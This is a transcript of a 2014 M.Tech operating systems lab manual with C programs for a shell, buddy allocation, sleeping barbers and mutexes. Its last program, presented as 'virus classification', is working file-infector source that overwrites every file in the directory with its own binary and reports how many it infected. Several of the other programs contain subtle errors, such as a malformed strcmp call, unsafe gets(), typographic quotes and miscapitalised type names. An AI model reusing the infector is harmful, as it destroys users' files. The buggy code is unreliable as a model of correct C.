m.tech 1st sem computer science aos lab prgms 2014

23
PROGRAM 1 Design and develop a shell that supports at least 20 commands #include<stdio.h> #include<sys/types.h> #include<unistd.h> #include<stdlib.h> void parse(char *cmd,char **arguvec) { while(*cmd!='\0') { while(*cmd==' ' || *cmd=='\t' || *cmd=='\n') *cmd++='\0'; *arguvec++=cmd; while(*cmd!='\0' && *cmd!=' ' && *cmd!='\t' && *cmd!='\n') cmd++; } *arguvec++='\0'; } void cmdexecute(char **arguvec) { pid_t pid; int status; pid=fork(); if(pid<0) {

Upload: supriya-radhakrishna

Post on 15-Jul-2015

231 views

Category:

Education


14 download

TRANSCRIPT

Page 1: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

PROGRAM 1

Design and develop a shell that supports at least 20 commands

#include<stdio.h>

#include<sys/types.h>

#include<unistd.h>

#include<stdlib.h>

void parse(char *cmd,char **arguvec)

{

while(*cmd!='\0')

{

while(*cmd==' ' || *cmd=='\t' || *cmd=='\n')

*cmd++='\0';

*arguvec++=cmd;

while(*cmd!='\0' && *cmd!=' ' && *cmd!='\t' && *cmd!='\n')

cmd++;

}

*arguvec++='\0';

}

void cmdexecute(char **arguvec)

{

pid_t pid;

int status;

pid=fork();

if(pid<0)

{

Page 2: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

printf("error in creating fork\n");

exit(0);

}

else if(pid==0)

{

if(execvp(*arguvec,arguvec)<0)

{

printf("error in calling execution\n");

exit(0);

}

}

else

{

while(wait(&status)!=pid);

}

}

int main()

{

char cmd[1024];

char *arguvec[20];

while(1)

{

printf ("[MYSHELL]");

gets(cmd);

parse (cmd,arguvec);

if(strcmp(arguvec[0]),"exit"==0)

Page 3: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

{

exit(0);

}

cmdexecute(arguvec);

}

return 0;

}

SAMPLE INPUT/OUTPUT

[root@localhost ]$ vi myshell.c

[students@localhost ]$ cc myshell.c

[students@localhost ]$ ./a.out

[MYSHELL] date

Mon Dec 8 14:14:17 IST 2014

[MYSHELL]ls

a.out p1.c p2.c myshell.c

[MYSHELL]pwd

/home/students

[MYSHELL]ls -i

1192724 a.out 1192748 p1.c 1192767 p2.c

[MYSHELL]ls -a

. .. a.out p1.c p2.c

[MYSHELL]echo citech

citech

[MYSHELL]cat hello.c

#include<stdio.h>

void main()

{

printf("HELLO WORLD");

}

Page 4: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

Program 2

Design and develop a program to implement lazy buddy algorithm

#include<stdio.h>

int tree[2050],i,j,k;

void segmentalloc(int,int),makedivided(int),makefree(int),printing(int,int);

int place(int),power(int,int);

main()

{

int totsize,cho,req;

printf("\n B U D D Y S Y S T E M R E Q U I R E M E N T S\n");

printf("* Enter the Size of the memory :");

scanf("%d",&totsize);

while(1)

{

printf("\n B U D D Y S Y S T E M \n");

printf("*****************************\n");

printf("* 1) Locate the process into the Memory\n");

printf("* 2) Remove the process from Memory\n");

printf("* 3) Tree structure for Memory aloc tn Map\n");

printf("* 4) Exit\n");

printf("* Enter your choice :");

scanf("%d",&cho);

switch(cho)

{

Page 5: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

case 1:

printf("\nM E M O R Y A L L O C A T I O N\n");

printf("************************************\n");

printf("* Enter the Process size : ");

scanf("%d",&req);

segmentalloc(totsize,req);

break;

case 2:

printf("\n M E M O R Y D E A L L O C A T I ON\n");

printf("\n ******************\n");

printf(" Enter the process size : \n");

scanf("%d",&req);

makefree(req);

break;

case 3:

printf("\n M E M O R Y A L L O C A T I O N M A P\n");

printf("*********************************************************\n");

printing(totsize,0);

break;

default:

return;

}

}

}

Page 6: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

void segmentalloc(int totsize,int request)

{

int flevel=0,size;

size=totsize;

if(request>=totsize)

{

printf("%c R E S U L T : ",2);

printf("* The system don't have enough free memory\n");

printf("* The system don't have enough free memory\n");

printf("* Suggession : Go for VIRTUAL MEMORY\n");

return;

}

while(1)

{

if(request<size && request>=(size/2))

break;

else

{

size/=2;

flevel++;

}

}

for(i=power(2,flevel)-1;i<=(power(2,flevel+1)-2);i++)

if(tree[i]==0 && place(i))

{

Page 7: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

tree[i]=request;

makedivided(i);

printf("\n Result : Successful Allocation \n");

break;

}

if(i==power(2,flevel+1)-1)

{

printf("%c Result : ");

printf("\n* The system don't have enough free memory\n");

printf("* Suggession : Go for VIRTUAL Memory Mode\n");

}

}

void makedivided(int node)

{

while(node!=0)

{

node=node%2==0?(node-1)/2:node/2;

tree[node]=1;

}

}

int place(int node)

{

while(node!=0)

{

node=node%2==0?(node-1)/2:node/2;

Page 8: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

if(tree[node]>1)

return 0;

}

return 1;

}

void makefree(int request)

{

int node=0;

while(1)

{

if(tree[node]==request)

break;

else

node++;

}

tree[node]=0;

while(node!=0)

{

if(tree[node%2==0?node-1:node+1]==0 && tree[node]==0)

{

tree[node%2==0?(node-1)/2:node/2]=0;

node=node%2==0?(node-1)/2:node/2;

printf(" Result : SuccessfullDeallocation\n");

}

else break;

Page 9: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

}

}

int power(int x,int y)

{

int z,ans;

if(y==0) return 1;

ans=x;

for(z=1;z<y;z++)

ans*=x;

return ans;

}

void printing(int totsize,int node)

{

int permission=0,llimit,ulimit,tab;

if(node==0)

permission=1;

else if(node%2==0)

permission=tree[(node-1)/2]==1?1:0;

else

permission=tree[node/2]==1?1:0;

if(permission)

{

llimit=ulimit=tab=0;

while(1)

{

Page 10: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

if(node>=llimit&& node<=ulimit)

break;

else

{

tab++;

printf(" ");

llimit=ulimit+1;

ulimit=2*ulimit+2;

}

}

printf(" %d ",totsize/power(2,tab));

if(tree[node]>1)

printf("---> Allocated %d",tree[node]);

else if(tree[node]==1)

printf("---> Divided");

else printf("---> Free\n");

printing(totsize,2*node+1);

printing(totsize,2*node+2);

}

}

Program 2/ OUT PUT:

[root@localhost ~]# cc pgm1.c

[root@localhost ~]# ./a.out

B U D D Y S Y S T E M R E Q U I R E M E N T S

* Enter the Size of the memory : 1400

B U D D Y S Y S T E M

*****************************

Page 11: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

* 1) Locate the process into the Memory

* 2) Remove the process from Memory

* 3) Tree structure for Memory allocation Map

* 4) Exit

* Enter your choice :1

M E M O R Y A L L O C A T I O N

************************************

* Enter the Process size : 600

Result : Successful Allocation

B U D D Y S Y S T E M

*****************************

* 1) Locate the process into the Memory

* 2) Remove the process from Memory

* 3) Tree structure for Memory allocation Map

* 4) Exit

* Enter your choice :3

M E M O R Y A L L O C A T I O N M A P

**********************************************

1400 ---> Divided 700 ---> Allocated 600 700 ---> Free

B U D D Y S Y S T E M

*****************************

* 1) Locate the process into the Memory

* 2) Remove the process from Memory

* 3) Tree structure for Memory allocation Map

* 4) Exit

Department Of Computer Science & Engineering

BIT/CSE/AOS LAB Page 14

* Enter your choice :1

M E M O R Y A L L O C A T I O N

************************************

* Enter the Process size : 400

Result : Successful Allocation

B U D D Y S Y S T E M

*****************************

Page 12: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

* 1) Locate the process into the Memory

* 2) Remove the process from Memory

* 3) Tree structure for Memory allocation Map

* 4) Exit

* Enter your choice :3

M E M O R Y A L L O C A T I O N M A P

**********************************************

1400 ---> Divided 700 ---> Allocated 600 700 ---> Allocated 400

B U D D Y S Y S T E M

*****************************

* 1) Locate the process into the Memory

* 2) Remove the process from Memory

* 3) Tree structure for Memory allocation Map

* 4) Exit

* Enter your choice :2

M E M O R Y D E A L L O C A T I O N

******************************************

* Enter the process size : 600

B U D D Y S Y S T E M

*****************************

* 1) Locate the process into the Memory

* 2) Remove the process from Memory

* 3) Tree structure for Memory allocation Map

* 4) Exit

* Enter your choice :3

M E M O R Y A L L O C A T I O N M A P

Department Of Computer Science & Engineering

BIT/CSE/AOS LAB Page 15

**********************************************

1400 ---> Divided 700 ---> Free

700 ---> Allocated 400

B U D D Y S Y S T E M

*****************************

* 1) Locate the process into the Memory

Page 13: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

* 2) Remove the process from Memory

* 3) Tree structure for Memory allocation Map

* 4) Exit

* Enter your choice :1

M E M O R Y A L L O C A T I O N

************************************

* Enter the Process size : 800

Result :

* The system don't have enough free memory

* Suggession : Go for VIRTUAL Memory Mode

B U D D Y S Y S T E M

*****************************

* 1) Locate the process into the Memory

* 2) Remove the process from Memory

* 3) Tree structure for Memory allocation Map

* 4) Exit

* Enter your choice :2

M E M O R Y D E A L L O C A T I O N

******************************************

* Enter the process size :400

Result :SuccessfullDeallocation

B U D D Y S Y S T E M

*****************************

* 1) Locate the process into the Memory

* 2) Remove the process from Memory

* 3) Tree structure for Memory allocation Map

* 4) Exit

* Enter your choice :3

Department Of Computer Science & Engineering

BIT/CSE/AOS LAB Page 16

M E M O R Y A L L O C A T I O N M A P

**********************************************

1400 ---> Free

B U D D Y S Y S T E M

Page 14: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

*****************************

* 1) Locate the process into the Memory

* 2) Remove the process from Memory

* 3) Tree structure for Memory allocation Map

* 4) Exit

* Enter your choice :

Page 15: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

Program 3

Write a multi-class multithreaded program that simulates multiple sleeping barbers, all

in one barbershop that has a finite number of chairs in the waiting room. Each customer

is instantiated from a single customer class; each barber is instantiated from a single

Barber class.

#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

#include<pthread.h>

#include<semaphore.h>

#define MAX_CHAIRS 4

#define CUT_TIME 1

#define NUM_BARB 2

#define MAX_CUST 6

int numberoffreeseats=MAX_CUST;

int seatpocket[MAX_CUST];

sem_t customers;

sem_t barbars;

sem_t mutex;

int servemenext=0;

int sitherenext=0;

int count=0;

void barbarthread(void *tmp);

void customerthread(void *tmp);

void wait();

Page 16: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

int main()

{

pthread_t barbars[NUM_BARB],customers[MAX_CUST];

int i, status;

sem_init(&customers,0,0);

sem_init(&barbars,0,0);

sem_init(&mutex,0,1);

printf("barbar shop opens\n");

for(i=0;i<NUM_BARB;i++)

{

status=pthread_create(&barbars[i],NULL,(void*)barbarthread,(void*)&i);

sleep(1);

if(status!=0)

perror("no barbar present\n");

}

for(i=0;i<MAX_CUST;i++)

{

status=pthread_create(&customers[i],NULL,(void*)customerthread,(void *)&i);

wait();

if(status!=0)

perror("no customers yet\n");

}

for(i=0;i<MAX_CUST;i++)

Page 17: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

pthread_join(customers[i],NULL);

printf("barbar shop closes\n");

exit(EXIT_SUCCESS);

}

void customerthread(void *tmp)

{

int myseat,b;

sem_wait(&mutex);

count++;

printf("customer %d enterred shop\n",count);

if(numberoffreeseats>0)

{

--numberoffreeseats;

printf("customer %d waits in the room\n",count);

sitherenext=(++sitherenext)%MAX_CHAIRS;

myseat=sitherenext;

seatpocket[myseat]=count;

sem_post(&mutex);

sem_post(&barbars);

sem_wait(&customers);

sem_wait(&mutex);

b=seatpocket[myseat];

numberoffreeseats++;

sem_post(&mutex);

Page 18: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

}

else

{

sem_post(&mutex);

printf("customer %d finds the no seats and go back\n",count);

}

pthread_exit(0);

}

void barbarthread(void *tmp)

{

int index=*(int *)(tmp);

int mynext,c;

printf("barbar %d joins shop\n",index+1);

while(1)

{

printf("barbar %d gone to sleep\n",index+1);

sem_wait(&barbars);

sem_wait(&mutex);

servemenext=(++servemenext)%MAX_CHAIRS;

mynext=servemenext;

c=seatpocket[mynext];

seatpocket[mynext]=pthread_self();

sem_post(&mutex);

sem_post(&customers);

printf("barbar %d wakes up andis cutting hair of customer %d\n",index+1,c);

Page 19: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

sleep(CUT_TIME);

printf("barbar %d finishes\n",index+1);

}

}

void wait()

{

int x=rand()%(250000-50000+1)+50000;

srand(time(NULL));

usleep(x);

}

Sample Input/Output :

!!Barber Shop Opens!!

Barber-1 Joins Shop.Barber-1 Gone To Sleep.

Barber-2 Joins Shop.Barber-2 Gone To Sleep.

Customer-1 Entered Shop. Customer-1 Sits In Waiting Room.

Barber-1 Wakes Up & Is Cutting Hair Of Customer-1.

Customer-2 Entered Shop. Customer-2 Sits In Waiting Room.

Barber-2 Wakes Up & Is Cutting Hair Of Customer-2.

Customer-3 Entered Shop. Customer-3 Sits In Waiting Room.

Customer-4 Entered Shop. Customer-4 Sits In Waiting Room.

Customer-5 Entered Shop. Customer-5 Sits In Waiting Room.

Barber-1 Finishes.Barber-1 Gone To Sleep.

Barber-1 Wakes Up & Is Cutting Hair Of Customer-3.

Barber-2 Finishes.Barber-2 Gone To Sleep.

Barber-2 Wakes Up & Is Cutting Hair Of Customer-4.

Barber-1 Finishes.Barber-1 Gone To Sleep.

Barber-1 Wakes Up & Is Cutting Hair Of Customer-5.

!!Barber Shop Closes!!

Page 20: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

PROGRAM 4

Use ECOS operating system to develop a program for controlling

accessing to a pool of resources using mutexes and condition variables.

#include <string.h>

#include <pthread.h>

#include <stdlib.h>

#include <unistd.h>

pthread_t tid[2];

int counter;

pthread_mutex_t lock;

void* processloop(void *arg)

{

pthread_mutex_lock(&lock); // lock code

unsigned long i = 0;

counter += 1;

printf("\n Job %d started\n", counter);

for(i=0; i<1;i++)

printf("\n Job %d finished\n", counter);

pthread_mutex_unlock(&lock); // unlock code

return NULL;

}

Page 21: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

int main(void)

{

int i = 0;

int err;

if (pthread_mutex_init(&lock, NULL) != 0) // create mutex lock

{

printf("\n mutex init failed\n");

return 1;

}

while(i < 2)

{

err = pthread_create(&(tid[i]), NULL, &processloop, NULL);

if (err != 0)

printf("\ncan't create thread :[%s]", strerror(err));

i++;

}

pthread_join(tid[0], NULL);

pthread_join(tid[1], NULL);

pthread_mutex_destroy(&lock);

return 0;

Page 22: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

Program 5 Design and develop a program to realize the virus classification, such

as boot sector infector, file infector and macro virus.

#include<stdio.h>

#include<io.h>

#include<dos.h>

#include<dir.h>

#include<conio.h>

#include<time.h>

FILE *virus,*host;

Int done,a=0; unsigned long x;

Char buff[2048];

struct ffblk ffblk; clock_t st,end;

void main()

{

st=clock();

clrscr();

done=findfirst(“*.*”,&ffblk,0);

while(!done)

{

virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL)

goto next;

x=89088;

printf(“Infecting %s\n”,ffblk.ff_name,a);

while(x>2048)

{

fread(buff,2048,1,virus); fwrite(buff,2048,1,host);

x-=2048;

}

fread(buff,x,1,virus); fwrite(buff,x,1,host); a++;

next:

{

fcloseall();

Page 23: M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

done=findnext(&ffblk);

}

}

printf(“DONE! (Total Files Infected= %d)”,a);

end=clock();

printf(“TIME TAKEN=%f SEC\n”, (end-st));

}